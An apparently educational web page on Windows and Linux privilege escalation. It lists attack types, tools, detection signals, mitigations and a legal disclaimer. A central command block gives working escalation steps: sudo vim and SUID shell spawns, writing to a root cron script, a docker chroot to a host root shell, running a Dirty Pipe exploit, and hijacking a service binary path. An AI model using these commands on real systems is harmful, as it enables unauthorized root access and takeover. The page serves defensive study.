Privilege escalation is the process of exploiting a vulnerability, misconfiguration, or design flaw to gain higher-level permissions (privileges) on a system than initially granted. Attackers typically gain initial low-privilege access (e.g., web user, guest account) then escalate to administrator, SYSTEM (Windows), or root (Linux) privileges. This allows them to perform restricted actions: install malware, access sensitive data (passwords, financial records), modify system configurations, disable security software, and maintain persistence.
Attack Prevalence: Privilege escalation is used in 85% of successful cyberattacks (Verizon DBIR). 65% of vulnerabilities discovered in 2023 allowed privilege escalation (CVSS 7.0+). Average time from initial compromise to privilege escalation: 2-4 hours (rapid escalation).
Two main types of privilege escalation:
Exploits vulnerabilities in operating system kernel (ring 0) to gain SYSTEM/root privileges. Examples: Dirty COW (CVE-2016-5195 - Linux), Dirty Pipe (CVE-2022-0847 - Linux), CVE-2021-1732 (Windows win32k). Most dangerous because kernel has full system access.
Weak service permissions allow replacing service executables with malicious binaries. Unquoted service paths (Windows). Insecure service permissions (sc config). Example: ImagePath: "C:\Program Files\MyApp\app.exe" (no quotes) allows hijacking via "C:\Program.exe".
Scheduled tasks (Windows) or cron jobs (Linux) running with SYSTEM/root privileges. If task executes user-writable script, attacker can replace script. Example: cron job running /home/user/backup.sh (writable by low-privileged user).
SUID binaries run with file owner's privileges (root). Attackers find SUID binaries (find / -perm -4000 2>/dev/null) and exploit them to escalate (e.g., nmap → interactive mode, vim → shell, python → os.system).
Weak password reuse between low-privilege and administrator accounts. Credential dumping (Mimikatz) extracts plaintext passwords, hashes, Kerberos tickets from LSASS process memory. Pass-the-hash attacks.
Application loads DLL from insecure directory (current directory, writable directory). Attackers place malicious DLL with same name. PATH environment variable injection: attacker-writable directory added to PATH before system directories.
Insecure sudoers entries allow low-privileged users to run commands as root without password. Example: "user ALL=(ALL) NOPASSWD: /usr/bin/vim" → vim can spawn root shell. Sudo -l lists permitted commands.
Writable system configuration files (/etc/passwd, /etc/shadow, C:\Windows\System32\drivers\etc\hosts). Writable docker.sock (docker group membership allows root). Writable SSH authorized_keys.
// Linux Privilege Escalation Examples
// 1. SUID Binary Exploitation (find / -perm -4000)
find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null
// Example: nmap SUID binary (older versions)
nmap --interactive
!sh # spawn root shell
// 2. Sudo Misconfiguration (sudo -l)
user@host:~$ sudo -l
(ALL) NOPASSWD: /usr/bin/vim
user@host:~$ sudo vim
:!/bin/bash # spawn root shell
// 3. Cron Job Abuse (writable script)
cat /etc/crontab
*/5 * * * * root /home/user/cleanup.sh
user@host:~$ echo "chmod 777 /etc/shadow" >> /home/user/cleanup.sh
# Wait for cron execution → root escalates
// 4. Docker Group Membership (root via docker)
user@host:~$ groups
user docker
user@host:~$ docker run -it -v /:/host ubuntu chroot /host /bin/bash
# Root shell on host
// 5. Kernel Exploit (Dirty Pipe CVE-2022-0847)
git clone https://github.com/mikh14/CVE-2022-0847.git
cd CVE-2022-0847
gcc exploit.c -o exploit
./exploit /etc/passwd 1000:1000
# Overwrites /etc/passwd → root access
// Windows Privilege Escalation Examples
// 1. Unquoted Service Path
sc qc "VulnerableService"
BINARY_PATH_NAME : C:\Program Files\MyApp\app.exe
// Unquoted path - attacker creates C:\Program.exe
// 2. Insecure Service Permissions
accesschk.exe -uwcqv "Authenticated Users" *
// Check for services with SERVICE_ALL_ACCESS
sc config "VulnerableService" binPath= "C:\malware.exe"
sc start "VulnerableService"
// 3. Scheduled Task Abuse
schtasks /query /fo LIST /v | findstr "TaskName\|Run As"
// Find task running as SYSTEM with writable script
// 4. DLL Hijacking (Process Monitor)
procmon.exe
// Filter: Path ends with .dll, Result is NAME NOT FOUND
// Place malicious DLL in writable directory
Comprehensive Windows privilege escalation enumeration script. Checks: Windows versions, hotfixes, services permissions (AccessChk), scheduled tasks, registry permissions (AlwaysInstallElevated), unquoted service paths, and credentials (SAM, LSASS).
Linux privilege escalation enumeration script. Checks: SUID binaries, sudo misconfigurations (sudo -l), cron jobs (writable scripts), kernel exploits (Linux Exploit Suggester), PATH hijacking, and writable sensitive files.
PowerShell script for identifying Windows privilege escalation vulnerabilities: service permissions (Get-ModifiableServiceFile, Get-ModifiableService), AlwaysInstallElevated (check, write), and registry hijacking.
Curated list of Unix binaries that can be used for privilege escalation (sudo, SUID, capabilities). Examples: awk, find, nmap, vim, python, perl, ruby, less, more, man, tar, zip, curl, wget.
Tool to identify potential missing patches and kernel exploits on Windows systems. Compares systeminfo output against Microsoft security bulletin database. Suggests CVE exploits for privilege escalation.
Linux privilege escalation auditing tool. Checks kernel version (uname -r), distribution, and suggests kernel exploits (Dirty Cow, Dirty Pipe, Overlayfs, CVE-2021-3156, PwnKit).
Metasploit post-exploitation module for Windows privilege escalation. Techniques: Named Pipe Impersonation, Token Duplication, Service Exploitation, Kernel Exploits (CVE-2021-1732, CVE-2021-40449).
This demonstration simulates escalating from standard user to root using kernel exploit (CVE-2022-0847 - Dirty Pipe) and misconfigured sudo:
This is a simulated demonstration. Real privilege escalation exploits can grant full system access (root/administrator) from low-privileged accounts (guest, user, www-data). Protect systems by applying security patches (kernel updates, software updates), removing unnecessary SUID binaries, auditing sudoers file, and implementing principle of least privilege (PoLP).
Low-privileged user spawning processes that require elevated privileges (cmd.exe, powershell.exe, /bin/bash) with high integrity level. Parent-child process anomalies (Microsoft Word spawning cmd.exe).
Unauthorized service creation (sc create, New-Service) or binary path modification (sc config). Service permission changes allowing low-privileged users to start/stop services.
Processes accessing LSASS memory (Mimikatz, procdump, comsvcs.dll). Suspicious access to SAM registry hive (reg save hklm\sam). Event ID 4663 (registry access).
Apply security patches immediately (critical within 48 hours). Kernel exploits (Dirty Cow, Dirty Pipe, PwnKit) target unpatched systems. Automate patch management (WSUS, SCCM, Qualys).
Users should have minimal privileges. Remove local administrator rights for standard users. Use separate admin accounts. Limits damage from escalation attempts.
Audit SUID binaries (find / -perm -4000 -type f). Remove unnecessary SUID bits (chmod u-s). Limit writable SUID binaries.
Restrict service permissions to administrators only (sc sdshow). Use unquoted service paths correctly (quotations). Regular service audit with AccessChk.
Best Practice - Least Privilege + Patching: Regular patching (kernel exploits) + principle of least privilege (remove local admin, remove SUID) + service permission auditing + credential protection (LSA Protection, Credential Guard) + EDR monitoring for escalation attempts (Mimikatz, service creation).
Privilege escalation (unauthorized elevation of privileges) is illegal in all jurisdictions:
Privilege escalation (unauthorized elevation of privileges) is illegal and carries severe penalties:
Important: This guide is for educational and defensive purposes only. Unauthorized privilege escalation is illegal. Report vulnerabilities responsibly (bug bounty programs).
Curated list of Unix binaries that can be used for privilege escalation (SUID, sudo).
Windows binaries that can be used for privilege escalation and lateral movement.
Comprehensive privilege escalation techniques for Windows and Linux with commands.